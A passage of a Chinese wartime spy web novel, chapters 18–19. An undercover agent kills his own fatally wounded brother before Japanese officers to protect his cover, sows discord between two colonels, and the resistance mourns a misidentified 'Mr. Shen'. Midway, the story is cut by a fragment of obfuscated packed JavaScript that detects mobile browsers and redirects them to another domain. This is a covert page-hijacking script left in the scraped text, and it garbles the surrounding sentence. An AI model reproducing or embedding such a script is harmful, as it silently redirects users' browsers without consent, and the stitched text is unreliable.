不知道为什么,但是他下意识的不想让沈听肆得知这个任务。 于是,在沈听肆晚上回来以后询问他有没有收到什么其他信息的时候,傅逸安给出了否定的答案,“和前面几天一样,并没有收到什么有用的信息。” “兄长,你还有什么别的事情需要我帮忙吗?” 沈听肆未曾怀疑过傅逸安,便摇了摇头,“暂时还没有。” 傅逸安偷偷的和其他的反抗军成员们取得了联系,瞒着沈听肆,参与了这一场救援。 他从前从未握过枪,为了能够成功的将王新明会长的家人们救出来,傅逸安特意让其他的反抗军成员们对他进行了魔鬼的训练。 等到了营救的那一天,傅逸安虽然还做不到百发百中,但他的枪法却早已经准了许多。 因为持续的练习,他的右手虎口处甚至硬生生的磨出来了一层老茧。 但傅逸安却很开心,他终于做了一件格外有意义的事情,而且,他也可以保护兄长的安全,他终于可以帮助兄长,再也不是那个永远仰望着兄长的背影的小弟弟了。 因为他们提前调查了王新明会长的妻儿的所在地,所以营救过程的前半部分还算是十分的顺利。 但那些东瀛的士兵们时时刻刻都在监视着,他们刚刚将王新明会长的妻儿从关押的地方救出来,就已经被发现了。 想要所有人都安全的撤退已然是来不及,必须要有几个人留下来掩护。 鬼使神差般的,傅逸安当其他的同志们推开了,独自一个人留了下来。 其他的同志们带着王新明会长的妻儿安全的撤离了,那份名单也没有落到东瀛人的手中。 可傅逸安,却被一颗又一颗的子弹贯穿。 关押王新明会长妻儿的地点距离东瀛人的租界其实并不远,所以在得知这件事情的第一时间,沈听肆就和平川大佐等人一起赶了过去。 当看到那个躺在血泊里的人是傅逸安的时候,沈听肆顿时感觉自己的双腿仿佛是灌了铅一样,沉重的走不动。 傅逸安骗了他。 可他却好似根本找不到任何责怪他的理由来。 沈听肆一步一步的走过去,注视着傅逸安尚未完全闭经的双眸,双手颤了颤,看着傅逸安逐渐变得冰冷的身躯,呢喃了一句,“你又何必?” 傅逸安的那双漆黑色的眼眸从未如此的亮过,虽然浑身都是鲜血,整个人看起来狼狈不堪,但他的眼睛却格外的清透,里面饱含着笑意。 他用力的扯动着嘴角,努力扬起一抹笑容来,哑着嗓子,缓缓开口,“兄长你看,这一次……” “终于是我赢了你了……” 18. 第 18 章 傅逸安和兄长争了一辈子,虽然他这一辈子只有短短的二十多年。 可今天…… 终于是他赢了。 只是,自己似乎又给兄长带来了一个麻烦啊,若是因为自己出现在这里,让那些东瀛人开始怀疑兄长,那他岂不是万死也难辞其咎? 想到这里,傅逸安浑身上下突然爆发出了无尽的力量来,他的身体狠狠的哆嗦了一下,然后伸出双手,用力的一把推开了沈听肆。 “你给我滚!”他惨白着一张脸,不停的有鲜血从口鼻当中涌现出来,刺目的血色遮盖了他的五官,让他整个人看起来极其的狰狞恐怖。 可那双眼眸里迸发出的恨意,却还是让在场的东瀛人都感到有些心惊。 “你个卖国贼!汉奸!叛徒!!!” 傅逸安脖子上面青筋毕露,用着最后一丝力气歇斯底里的呐喊,“不要拿你的脏手碰我!你让我感到恶心!” “傅君,你还好吗?”平川大佐一直都是比较信任沈听肆的,虽然傅逸安是沈听肆的弟弟,但是他也知道现在傅烆有意培养的附加的接班人是傅逸安,致力于要把沈听肆彻底的从附加的权利中心给踢出去。 所以他并不觉得傅逸安所做的事情和沈听肆有关系。 而且自从东瀛的大部队踏入北平以后,他这个大佐的话语权就越来越低了,手握重兵的佐藤大佐经常不给他面子,动不动就驳回他的决定。 一直跟着他的松井中佐不敢得罪佐藤大佐,总是像个墙头草一样,东边说两句,西边说两句,来来回回的和稀泥。 可却只有沈听肆始终坚定如一的站在他的身边,做了许多帮助他的事情,让他不至于那般的孤立无援。 其他人咒骂两句或许没什么,可傅逸安却是沈听肆的亲弟弟,平川大佐担心沈听肆心中难受,还特意走上来安慰了两句。 沈听肆看着傅逸安那双逐渐暗淡下去的眼眸,嘴唇蠕动了一下,心情格外的复杂。 沉默了一瞬,他对平川大佐微微摇了摇头,“我没事,只是有些没想到,他竟然会是反抗党的人。” 在来的路上,沈听肆也已经从前来汇报的东瀛士兵那里知道了事情的经过。 沈听肆明白,傅逸安那天晚上骗了他。 傅逸安收到了情报,甚至还收到了一个和其他卧底在北平的地下党同胞们共同营救张新明先生的妻女的任务。 可傅逸安没有将这件事情说出来,反而是自己去和地下党的同志们商量了营救的方式,并且单独执行了。 傅逸安让那些同志们先走,他留下来断后。 如若留下来断后的人是沈听肆,他当然是有办法保住自己的命,安全逃离。 可傅逸安这样一个养尊处优的富二代,就连打枪都是紧急锻炼出来的,又能有什么精妙绝伦的身法呢? 那么多的子弹和围攻,他当然是躲不过去。 原本的剧情里傅青隐没有电报机,自然也就不会有这样的一个任务,傅青隐在原本剧情中做的事情,是在一次偶然的情况下得知张新明要交给东瀛人一份隐藏在北平的地下党的名单,而他的任务,就是截取这份名单。 或许当时的同志们因为某些原因没有将张新明的妻女救下来,所以张新明选择了交出名单,这次营救成功后,沈听肆自然是没有必要再去做截获名单的这项任务了。 可这个代价,却是丢了傅逸安的一条命。 那些子弹并没有击中傅逸安的要害,因此,即便此时他整个身体里面的血都几乎已经流了一大半,他却依旧还有力气骂骂咧咧。 佐藤大佐笑意盈盈的,可眼底却隐藏着深深的怀疑,“傅君,这可是你的亲弟弟,看到他即将死去,你竟一点都不伤心吗?” 沈听肆没有丝毫躲闪的与佐藤大佐对视着。 他的态度极其坦荡,看不出半点儿的心虚,“佐藤君似乎忘却了,他虽然是我的弟弟,可他同时也是一个红党,在他们的组织内部,他们恐怕恨不得喝我的血,啖我的肉了吧?” “佐藤君会对一个想要杀了自己的人心生怜悯吗?” 还真是牙尖嘴利…… 佐藤大佐脸上的笑意收敛了一些,他虽然是因为傅逸安的身份而有所怀疑沈听肆,可更多的是对于沈听肆的厌恶。 如果不是这个人给平川大佐出了那么多招,现在整个北平城早已经在他的掌控下了,他想做什么就可以做什么,又何至于像现在一样处处受限制?! “既然傅君如此的记恨身为红党成员的你的弟弟……”佐藤大佐露出一抹恶劣的笑来,目光直勾勾的盯着沈听肆,“不如就由你亲自解决了他吧?” 佐藤大佐可是了解过这些夏国人的,在他们的心里,血脉亲情极其的重要,兄弟阋墙,可是要被人挂在耻辱柱上的。 但出乎佐藤大佐意料的是,他刚说完这句话,沈听肆就直接一枪击中了傅逸安的脑袋。 那些唾骂的话语骤然间失了声,天地都好似突然静了下来。 傅逸安在失去所有意识,闭上双眼的前一刹那,嘴角轻轻扬起了一抹急不可察的弧度。 他终究…… 并未死在东瀛人的手中。 沈听肆动手的速度太快了,快到任何人都没有反应过来。 佐藤大佐人都麻了。 他说那话只是想要激一激沈听肆,并没有真的要让他把傅逸安给杀了啊! 妻女被人救走了,张新明定然不会再将那份名单供出来,那么傅逸安就成了他们唯一的突破口。 虽然傅逸安临死也不远了,他们的人也不一定能从他的口中获取到什么有用的情报。 可万一呢? 万一傅逸安交代了呢? 佐藤大佐气极,径直掏出枪来直指沈听肆,“你和他是一起的!” 不是疑问,佐藤大佐带着怒火,十分肯定地说着。 跟随佐藤大佐而来的东瀛士兵们也齐齐的举起了枪,几乎要将沈听肆给包圆了。 沈听肆一脸的无辜,他仿佛是愣了一下才反应过来究竟发生了什么事,茫然的目光扫过来,充满着疑惑,“不是佐藤君让我解决了他的吗?” “为何我按照您所说的做了,您却不满意呢?” 平川大佐抬手按下了佐藤大佐手里的枪,“佐藤君这是要做什么?” “无论如何,傅君都是我的人,佐藤君如此做,是不是也太不将我放在眼里了?” 佐藤大佐冷笑了一声,“我看平川君该不会是和这些夏国人待久了,思想也被同化了吧?” “你可千万小心,当心背后有人给你捅刀子!” 平川大佐不甘示弱的怼了回去,“这就是我自己的事情了,不劳佐藤君费心。” 平川大佐和佐藤大佐两个人之间的积怨,其实已经很深了。 两个人的军衔完全相同,一时之间谁也奈何不了谁。 平川大佐占据北平久矣,势力宽厚,然而,虽然佐藤大佐才来不久,可他手下兵强马壮,驻守在北平城的绝大部分的士兵都是他的人。 一山难容二虎,两个人都想把对方搞下台,让自己掌握这北平城唯一的话语权。 沈听肆微微眯了眯眼睛。 或许……这就是一个挑拨离间的好机会。 这边两个人针锋相对的吵了好一会,却终究没吵出一个结果来,佐藤大佐便直接将怒气撒到了沈听肆的身上,“平川君,傅君究竟是站在哪一边的,调查一番不就知道了?” “为了避嫌,这件事情就交由我的人来处理,平川君以为如何?” 平川大佐哪里不知道佐藤大佐将沈听肆带走是要对他动手呢,可面对多层大佐如此冠冕堂皇的理由,他也说不出拒绝的话来。 低着头略微沉思了一会儿,平川大佐终究还是答应了,“你想要调查自然是可以,若是调查不出一个什么结果,你必须要完完整整的将傅君给我送回来,若是让我发现你严刑逼供,乱用私刑,我绝对不会轻易放过你!” “放宽心,”佐藤大佐皮笑肉不笑的开口道,“对于平川君的心肝宝贝,我自然是不会对他做些什么的。” 他不做什么,但是却并不代表着他手下的人不做什么。 这就是说话语言的艺术了。 得到了平川大佐的认可,佐藤大佐冲着手下的人使了使眼色,很快就有两个东瀛士兵走过来,其中一个下了沈听肆手里的枪,另外一个则是将他的双臂反剪到了背后,做势就要把他压下去。 但在被压着离开之前,沈听肆率先开口提出了一个要求,“我有些话想要说与平川君。” 佐藤大佐知道这个夏国人心中没憋着什么好屁,正想要拒绝,可平川大佐却已经走到了沈听肆身边,动作强硬的将那个抓着他手臂的东瀛士兵给挥开了去,然后将沈听肆给带到了一旁。 两人就在距离佐藤大佐不远处的地方,但却也可以保证他们所说的话语并不会被第三个人给听到。 平川大佐抬手拍了拍沈听肆的肩膀,带着些许悲伤的语调,“傅君,委屈你了。” 沈听肆摇了摇头,“能够为平川君做事,我并不委屈,但是我想要提醒一下平川君,松井君似乎已经有投奔佐藤君的意向了,如今我在被抓起来,平川军恐怕会孤立无援。” “所以,在这段时间里,我还是希望平川君能够提前做好准备,”沈听肆一字一顿的诉说着,全然一副为平川大佐做打算的样子,说到一半,他突然压低了语调,格外谨慎的开口道,“尤其是您的生命安全,格外的要注意。” 平川大佐被他的这话给惊住,瞳孔都放大了一些,带着满是不可置信的声音呢喃,“佐藤君不会这么做的。” 他们都是为了他们大东瀛的皇帝陛下做事,他们全部都效忠于他们的皇帝陛下,没有人会违背皇帝陛下。 “害人之心不可有,防人之心不可无啊,”沈听肆抿着唇,小声的提醒,“这北平城,终将也只能有一个掌权者,平川君您又不是甘愿屈居人下的,那又如何才能成为这万中如一的一人呢?” “言尽于此,具体怎么做,当然还是要看平川君您自己的意愿,”见平川大佐已经产生了几分怀疑之色,心中开始有所动摇,沈听肆瞬间化身无辜的小白花,“我并不是挑拨离间您和佐藤君的关系,我只是切身实地的为您的安危担忧,毕竟只有您好了,我才能拥有我所想要的。” 离开之前,沈听肆留下最后一句,“只有死人,才没有能力去争夺权势和地位,平川君,请您仔细思考。” 沈听肆被佐藤大佐手下的东瀛士兵带走,平川大佐低头看了一眼已经死透了的傅逸安,有些烦躁的挥了挥手,“把他给我丢到运河里去喂鱼!” “等一下,”佐藤大佐突然伸手阻拦,“这人虽然死了,可却还有用处呢,万一可以从他身上获取到什么有用的情报,平川君就这样将人丢到运河里去,难不成是想要替他隐瞒些什么吗?” “你简直是不可理喻!” 平川大佐完全没想到佐藤大佐竟然会怀疑到自己的身上来,他原本还只觉得沈听肆所说的话只不过是危言耸听,佐藤大佐就算是想要夺权,也不会真的想要他的命。 可现在他却有些迟疑了。 万一对方将这个和夏国的反抗党们有联系的罪名安到他身上,那他岂不是必死无疑? 平川大佐让人将傅逸安的尸体给带走,“佐藤君竟然已经在调查傅君的事了,那么调查红党的事情,就交给我来办吧。” —— 平川大佐他们知道北平有一个代号为“沈先生”的地下党,这个人能力出众,带着其他的地下党成员们完成了好多次格外惊险的任务。 包括他们的活体研究基地的毁灭,以及军事大将渡边信长的刺杀,这其中都有着这个“沈先生”的影子。 只可惜他们虽然一直在调查,却始终未曾查到这个所谓的“沈先生”究竟是谁。 但当他们将傅逸安的身份带入进去以后,终于发现这个人和所谓“沈先生”竟然会如此的贴合! 傅逸安是傅家的掌权人,和北平商会的其他的商人们一起参加过不少次的讨论,而且他手中还掌握着好几艘大型的货轮,通过这些货轮往南方传递消息,运送物资,那简直是再方便不过。 而且傅逸安是沈听肆的亲弟弟,沈听肆在租界去上班,或多或少都能够知道一些东瀛内部的消息,他对于自己的亲弟弟自然是不会防备的,所以傅逸安很有可能会旁敲侧击地打听到一些有用的信息! 或许这些还不能够作为认定傅逸安就是“沈先生”的证据。 可营救张新明的妻女的行动,事关整个北平所有的地下党的组织人员,如此重大的一次行动,“沈先生”绝对不可能不参加。 而“沈先生”则是所有的地下党公认的能力最强的一位,由他留下来断后再合理不过。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536863|170913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >再加上一些其他的辅助证据,使得东瀛人完全的认下了傅逸安“沈先生”的身份。 松井中佐将搜集到的信息交上来,乐呵呵的开口道,“平川君,这次我们可算是抓住了他们反抗党的一条大鱼,没有了傅逸安,这北平的物资药品,可就送不出去了,到时候前线的那些夏国人们失去了支援,我们岂不是可以更快的攻占夏国?” 平川大佐拿着那些资料看了看,也认定了松井中佐调查来的信息,他唇角勾起一抹恶劣的弧度,乐呵呵的开口,“夏国人有句古语,叫做‘杀人先诛心’,他们既然如此的指望于这个沈先生,那么我们就干脆登报昭告天下好了,看看他们缺少了一个这样强有力的外援以后会不会乱成一锅粥。” “是!”松井中佐抱着资料兴奋的走开了,仿佛他已经看到了北平的地下党组织成员们抱头鼠窜的样子。 —— 事情已经调查清楚,傅逸安的尸体自然也没有了其他的用途。 于是在这天晚上,他被装进麻袋里,运到了漕运码头。 晚上的码头不似白日那般的热闹非凡,除了一些守着货船的护卫门外,就是巡逻的东瀛士兵了。 两名东瀛士兵抬着麻袋的两端,喊着号子将傅逸安给丢到了运河里去。 “扑通”一声落水声响,两名东瀛士兵无比嫌弃地撇了撇嘴。 因为要调查清楚傅逸安究竟扮演了一个什么样的身份,所以他的尸体在停尸房放了好几天,都已经发臭了。 两名抬着麻袋的东瀛士兵只觉得自己的手上都仿佛沾染了那股尸臭的味道。 一名士兵用东瀛话骂骂咧咧,“真是晦气,竟然被派来做这种事情。” “谁说不是呢?”另外一名东瀛士兵也满脸的厌恶之色,“赶紧回去吧,我迫不及待的想要好好洗一洗。” 两人说着话渐行渐远,过了一会,浓黑的夜色里突然冒出了几颗人头来。 那是几天前和傅逸安一起参与了救援行动的地下党员们。 他们一个接一个的扎进水里,在黑暗中慢慢摸索,终究还是将那个麻袋给捞了起来。 他们之前和沈听肆取得联系要么是通过电报,要么就是让那些小乞丐们传递纸条,倒还并未曾真正的见过面。 因此他们也都以为傅逸安就是和他们联系的“沈先生”。 “沈先生……”其中一人看着那麻袋里面腐烂不堪的尸体,忍不住落下了泪来,“您受苦了。” 他们都知道沈先生是卧底在东瀛人身边一颗很重要的棋子,对他们帮助良多,而且还往前线运送过很多的药品和物资。 那天撤离的时候,傅逸安信誓旦旦的说他有方法能够安全脱身,所以他们才会就那样离开,由着傅逸安断后。 他们无论如何都没有想到,他们那天见到的傅逸安,就已经是这辈子的最后一面。 “沈先生也是想要看到北平城被我们夺回来的吧……”另外一人小声呢喃着,在夜色中抬手指向了距离北平不远的那一片山脉,“沈先生曾经和其他的同志们将陈尽忠老实的尸体葬在了那里,我想,如果可以和陈老师葬在一起,沈先生也是愿意的。” 于是几人趁着夜色,爬上了山峦,在陈尽忠那丝毫不起眼的坟堆旁边,也挖了一个坑。 回来以后,几人思来想去,终究还是决定将“沈先生”牺牲的消息传到南方去。 —— “卖报!卖报!新鲜出炉的报纸哦!” 光着脚的卖报郎在北平的街道上连蹦带跳,“红党的地下组织者沈先生已经被傅青隐先生所击毙,大汉奸傅青隐又杀一名反抗军,大家快来买报纸啊!” 卖报郎不大不小的声音不断的响彻在北平城的街道上,使得夏国人对于傅青隐的汉奸的形象更加痛恶了起来。 一名男子拦住了那小小的卖报郎,“给我来份报纸。” 收了钱,卖报郎将报纸交到了那名男子的手中,“好嘞,您收好了。” 随即,卖报郎又挥舞着手里的报纸,蹦蹦跳跳的往前走,“卖报!卖报!大汉奸傅青隐又杀一名反抗党,大家快来买啊!” 那名男子双手紧紧地攥着手里的报纸,整个手背绷得笔直,青筋都鼓鼓囊囊的暴了起来。 让他看完报纸上面描述的内容,整个人怒火中烧,报纸在他的大力揉搓下变得褶皱不堪,他咬牙切齿,恨意难消,“傅青隐!你不得好死!” 和这名男子同样想法的人,在北平城并不是少数。 当那一份又一份的报纸被卖出去,沈听肆几乎收获了全北平城夏国人的恨意。 这份报纸的销量极好,不仅卖给了北平的百姓,甚至还销售到了南方。 南方的一家战地医院里—— 医生护士们刚刚收到了从北平运来的抗生素,现已经迫不及待地将药品用到了那些受伤的战士们的身上。 温承松艰难的睁开眼睛,看着眼前忙忙碌碌的傅云禾,发出一声轻笑,“傅护士,我们竟然又见面了。” 傅云禾默默翻了个白眼,“我还是希望我们以后不要再在这个地方见面的好。” “哈哈哈哈,”温承松仰头笑了笑,“说的也是哦。” 温承松受伤很严重,这段时间只能躺在病床上,对于外面的消息是不甚了解的。 他感觉有些无聊,就扒拉着傅云禾陪自己说话,“傅护士,听说是因为最近到了一批新的抗生素,所以我才能醒过来,你知道这些抗生素是从哪儿来的吗?” 傅云禾只觉得这个人的话真的不是一般的多,可奈何对方是个病人,病人必须要有良好的心情才能够更好的养病,所以傅云禾只能耐下性子和他说话,“从北平来的。” “我就知道,”温承松忽然笑得眉眼弯弯,“是沈先生送来的,对不对?” 想到那个虽然长相平庸,但格外温柔的人,温承松原本脸上痛苦的神色都收敛了一些。 有了这些药品,同志们就能够更好的治伤,总有一天,他们能将北平收复回来。 他也能再次见到沈先生。 可就在这个时候,乐倾川一瘸一拐的从外面走了进来。 乐倾川也受了伤,但比起温承松则要轻上许多,如今已经能够下床走路了。 他将那份早已经被攥得皱皱巴巴的报纸拿给了温承松。 脸上带着一抹悲痛之色,嗓音中是抑制不住的哭腔,“沈先生……牺牲了。” 19. 第 19 章 乐倾川走来时带动了风,轻飘飘的门轴声咿呀作响,仿佛是厉鬼的嘶鸣一样。 温承松脸上还带着期待的笑意,在顷刻之间收敛了去,受伤严重,只能躺在病床上休息的身体,却猛然间撑着坐了起来,那双深若寒潭的眼睛里藏着幽不可探的恐惧。 他一字一句,嗓音低缓,“乐倾川,这个玩笑一点都不好笑。” 他的目光死死地落在乐倾川的脸上,试图从他的面部表情上察觉到一丝开玩笑的意味来。 可是没有。 什么也没有。 “你还是个病人!”傅云禾实在是看不下去,走过去双手按在温承松肩膀上强行将他按回了床上,“你才刚刚醒过来,不能够这样大喜大悲的,你这条命还想不想要了?!” 温承松由着傅云禾动作,但目光却始终未曾落在她的身上,他紧紧地盯着乐倾川,想要得到一丝肯定的回答,“你就是跟我开玩笑的,对不对?” “你说啊,你是开玩笑的!” 温承松的情绪再次激动了起来,不管不顾地挣扎着,要从床上爬起,刚刚才包扎好的伤口再次渗出了血迹,雪白色的绷带上面洇出了一朵又一朵红色的花蕊。 乐倾川抓着那份报纸的手不断地用着力,嘴角都被他咬出了一丝血渍来,“承松……我……” 他才说了几个字,整个人的情绪就已然彻底崩溃,他缓缓的蹲下身,然后整个人毫无形象的瘫坐在那里。 嚎啕大哭。 战地医院里,铁锈与血腥的味道浓郁到几乎要让人窒息,却丝毫压抑不住此时温承松和乐倾川周深弥散着的那种悲伤的气息。 温承松眼睛瞪大了,拼了命的要从床上起来,即便是傅云禾这个健康的人都几乎快要按不住他。 傅云禾有些生气了,转身劈手一把夺过了乐倾川手里的那份报纸,“他现在的身体根本受不得这种刺激,你就算是有再怎么要紧的事情,也稍微等他好上一点了再来说啊,什么沈先生……” 话说到一半,傅云禾却突然顿住。 满是不可思议的看着那张报纸上面的内容,“怎么会这样?!” “这不可能,这一定是假的!兄长不是这样的人!” 是兄长给她力量,让她从那个四四方方的小院里面走了出来,是兄长教她念书,教她认字,让她见识到这个世界的另外的一面,是兄长强硬的退了她和渣男的婚事,让她明白女子不仅仅只有嫁人这一条出路,是兄长给了她第二次人生,让她终于找到了自己。 那样温柔善良,在她无数次崩溃无助之时陪伴在她身边,在她因为放假而痛不欲生之时,背着她将从家到医馆的路走了一遍又一遍。 那般如春风一般柔软温暖的人,只要一提及,就感觉自己的整个世界都亮了的人。 怎么可能会亲手杀了自己的亲弟弟?!! 傅云禾绝对不愿意相信。 “这其中一定有什么误会,”傅云禾磕磕绊绊的解释着,努力的想要从那张报纸上面找到一丝一毫虚假的痕迹,“兄长他不是这样的人,他不可能这么做的。” 可即便知道这个过程当中有一些他不曾知晓的事情,兄长或许有什么苦衷,可傅云禾的心里还是难受的紧。 死的那个人,是和她血脉相连的二哥啊! 她惨白着一张脸,身上一阵一阵的冒冷气,无力的闭上双眼,眼角滚落下来两行泪。 一边是始终温柔地做着她安全的护盾的兄长,另一边是永远活力无限,拉着她玩闹的二哥。 他们任何一个人,都始终牵动着傅云禾的心脏。 她不愿任何一个人出事,可事实却已经摆在了她的面前。 傅云禾找不到证据来,只能硬着头皮干干巴巴的解释,“兄长或许有这么做的原因,他或许是万不得已……” 可乐倾川的话,却仿佛是一盆冷水兜头浇下,将傅云禾那颗不安的心,浇了个彻骨的凉。 “所以,他就可以亲手杀了他的弟弟?” 乐倾川惨然一笑,脸上的神情是说不出来的悲伤,豆大的泪滴在他的眼眶里面打转,可他的嘴角却始终上扬,原本一张俊秀的面庞,此时看起来竟显得格外的扭曲狰狞。 他抬着头,目光直勾勾的盯着傅云禾的的眼睛,“如果是你,就算有天大的苦衷,你能对你的兄长下得了这个狠手吗?!” 傅云禾说不出话来。 因为她下不去手。 她知道兄长不是这些人想象的那样,她知道兄长一定有万不得已的苦衷,她知道兄长心中的痛苦不比他们任何一个人少,甚至是因为亲自动了手,兄长绝对会更加的难过。 可她的解释,在傅逸安的尸体出现的那一刻,变得那样的苍白和无力。 所有的人都在痛恨兄长,斥责兄长,那么多的辱骂,恶念,兄长如何承受的住? 傅云禾真的好想现在就冲到北平去,冲到兄长的怀里,抱抱他。 可她什么也做不到。 除了伤心难过,她毫无他法。 傅云禾从未感觉到这般的无力,那种穷尽一切也无计可施,那种长了十张嘴也解释不清楚的无力感,让她一下子失了全身的力气,骤然倒地。 乐倾川满带着讽刺的看了她一眼,“你是你,傅青隐是傅青隐,我们不会因为他做的事情而怀疑你,但你也不该强行将你对那个叛徒的情谊强加到我们的身上来。” 在傅云禾和乐倾川两个人说话的间隙,温承松将那张报纸给捡了起来。 他沉默着看着手里那张早已经被揉搓的褶皱不堪的报纸,不知道为什么,温承松感觉自己的眼前却越来越模糊了。 明明这报纸上面的每一个字他都认识,可为什么这些字体连在一起,他却看不懂了呢? 《傅青隐大义灭亲,亲手射杀红党组织带头人“沈先生”》 在这样的一个标题下,配着的是傅逸安紧闭着双眸的尸体。 这时的照片是黑白的,看不到什么其他别的颜色,可即便在这只有两个色泽形成的照片上,傅逸安浑身上下鲜血的痕迹却依旧被拍的清清楚楚。 身上的衣衫的颜色很淡,印在报纸上是浅浅的灰,可在那一大片朦胧的灰色中,却存在着几乎一时之间用肉眼无法数清楚的深色的血迹。 中了那么多枪。 他该有多疼啊…… 温承松双手不住的颤抖着,那张薄薄的报纸抓在他的手里,却仿佛有千斤重,重到他几乎快要拿不稳。 明明沈先生送来的药品才刚刚到达,那些药挽救了他们无数同志的命,也包括他这条苟延残喘的烂命。 几分钟之前,他还在满心欢喜。 心里畅想着有了这批药,他们就可以减少许多不必要的伤亡,总有一天,他们能够打回北平去,将北平城从那些东瀛人的手里面夺回来。 那个时候,没有战争,没有灾祸,没有侵略者,也没有背叛着。 朗朗乾坤下,融融日光里,他终将见到沈先生。 他会告知沈先生这一路走来的艰辛,沈先生也会和他倾诉这几年的困苦。 当初说好了要一起见证夏国的繁荣强大,说好了等到将所有的侵略者赶出去的时候,要一起到陈老师的坟前去上香。 这才过去了仅仅两年的时间啊! 他们所有的约定没有一项完成的,沈先生怎么就离他而去了? 温承松不愿意相信,“假的,这肯定是假的!” 他的目光缓缓落在了那张照片上,骤然之间,温承松眼底迸发出晶亮的喜悦光芒,“搞错了,你们真的搞错了!” 他明明见过沈先生的,沈先生根本不长这个样。 温承松带着最后一丝希望,伸手拽住了乐倾川的袖子,“你看,这个人是傅逸安,他和沈先生长得一点都不一样,别人没见过沈先生,但你是见过的,你说,这不是沈先生他们搞错了。” 见乐倾川始终沉默着,温承松快要歇斯底里了起来,“你说啊!” 乐倾川心底的悲伤,浓烈的几乎快要溢出来,“傅逸安就是沈先生。” “沈先生接到的最后一次任务是和其他留存在北平的地下党的同胞们共同去解救张新明会长的妻女,沈先生让其他人带着人质先离开了,他留下来断后。”乐倾川伤势好了许多,已然是能够走动了,所以去参加了一些组织内部的会议。 自然也从其他的同志那里得知了事实的真相。 “可是……”温承松依旧不愿意承认,他死死地咬着牙关,“沈先生明明不长这个样!” 乐倾川沉沉的叹了一口气,缓缓说出了一个无比残忍的真相来,“沈先生会易容。” “为了保证自己的安全,沈先生每次出现在我们面前的形象都不尽相同。” 温承松听不下去了。 乐倾川解释的话语还犹在耳畔,可温承松却再也听不进去一个字。 他感觉自己的心脏仿佛是被密密麻麻的藤蔓给捆了起来,越捆越紧,越捆越紧,勒得他快要喘不过气。 陈老师,沈先生…… 这辈子对于温承松而言,最最重要的两个长辈,全部都因为傅青隐而死! 温承松的情绪几度崩溃,痛苦的神色映在扭曲仇恨的眼底,“傅青隐!我一定要让他血债血偿!” 山河破碎,子散妻离,满目疮痍的大地上,到处都是猩红的血迹。 温承松不在乎多这一抔。 哪怕是拼上一切,那也要那个人偿命! 天际阴云密布,偶尔闪过几道惊雷,整个天地间灰蒙蒙的一片,好似随时都要落下雨来。 这是傅云禾头一次抛下自己手中的伤员,独自一个人走了出来。 温承松和乐倾川的话语还犹在耳畔。 那般坚定不移,那般充满仇恨,带着血海滔天的血泪,势必要取了兄长的性命。 每一个字落在傅云禾的心底,都让她痛彻心扉。 她无法解释,她说不明白,没人能和她感同身受,无人理解真正的兄长。 傅云禾爬上高地,俯瞰着这片惨烈的国土,远方的阵地线上,时不时有炮火声响起。 晚风刮过,浓烟冲天,送来纷纷扬扬的火星。 满眼疮痍之中,只有半面红旗,在腥风里凄惨的飘荡。 傅云禾双手抱着膝盖,极目眺望北方,可除了漫天的乌云外,她什么也看不到。 时隔两年多,傅云禾再次露出了无助的一面来,“兄长……我该怎么办?” —— 自从沈听肆亲手解决了傅逸安以后,已经过去了将近十天的时间。 虽然现如今表面上看起来,平川大佐和佐藤大佐两个人之间的关系依旧是和平友善的,可沈听肆被佐藤大佐的人抓起来之前最后说的那话,终究还是在平川大佐的心底留下了一定的痕迹。 平川大佐有些不太愿意相信和自己同样身为东瀛人的佐藤大佐会对他下手,可沈听肆说的是那样的信誓旦旦,而左藤大左右经常性的表现出想要夺他的权。 所以,平川大佐终究还是暗中派人调查了一番。 沈听肆既然敢说那样的话,那自然是早就提前做好了准备的。 两虎相争,必有一伤,在佐藤大佐率军踏入北平城的那一天开始,沈听肆就已经在计划着要离间两个人了。 只不过这些东令人太过于信奉武士道精神,也格外的崇拜他们的皇帝陛下,所以想要离间这两个人并不是一朝一夕之间就可以完成的事情。 沈听肆做足了准备,但始终缺少一个让平川大佐彻底怀疑上佐藤大佐的契机。 傅逸安的死亡恰恰是一个机会。 沈听肆留在东瀛人的身边,除了给南方的反抗党们传递情报以外,自然也还是做了一些其他的事情。 首先就是将松井中佐往佐藤大佐那里推。 在很早之前沈听肆已经发现了,松井中佐是一个脾气极其火爆,而且很容易被激怒的人。 他一旦生气,就非常容易上头,经常会做事不顾后果。 以前因为平川大佐是北平唯一的话语权,所以松井中佐即使心中不愿意,但还是依旧需要听从平川大佐的吩咐。 所以沈听肆便经常不动声色的在松井中佐经常出没的道路上和其他的东瀛士兵们闲聊,时不时的扯几句和松井中佐有关的话,再说上一些平川大佐似是而非的话,就已经足够引起松井中佐的注意了。 等到他也开始去寻找那几名东瀛士兵聊天,沈听肆便彻底隐身,要是在松井中佐的视线里。 但私下里,沈听肆却还是会勾着那几名东瀛士兵去讨论究竟是跟着平川大佐有前途,还是跟着佐藤大佐更好。 佐藤大佐此人比较嗜杀,做起事来也经常不管不顾的,和松井中佐倒也算得上是臭味相投。 短时间内,松井中佐或许还不会起背叛的心思,可一来二去的,他的心就逐渐开始往佐藤大佐那里偏移了。 之前几次平川大佐吩咐的事情,松井中佐都并没有好好的完成,反而是趁着这个机会,频繁的向佐藤大佐示好。 沈听肆将这一切都默默的看在眼中,但他却并未告知平川大佐,而是将松井中佐想佐藤大佐示好的证据,留得更明显了一些。 绝大部分东瀛士兵骨子里其实都是瞧不起夏国人的,经常性的在占据一个城池后做的第一件事情就是屠城。 他们会将成年的男子全部杀掉,把女人全部抢去,然后充作他们发泄的工具。 佐藤大佐在占据北平城以后也想这么做,但平川大佐驻扎在北平多年,也深刻的了解过夏国人的文化,再加上他本人并不热衷于一些残忍的手段,所以就制止了佐藤大佐。 平川大佐甚至还立下了一条军令,不允许东瀛的士兵们随意的在街上杀害夏国人。 这条命令引起了佐藤大佐手下的士兵们极度的不满,所以他们动起手来不在那样的 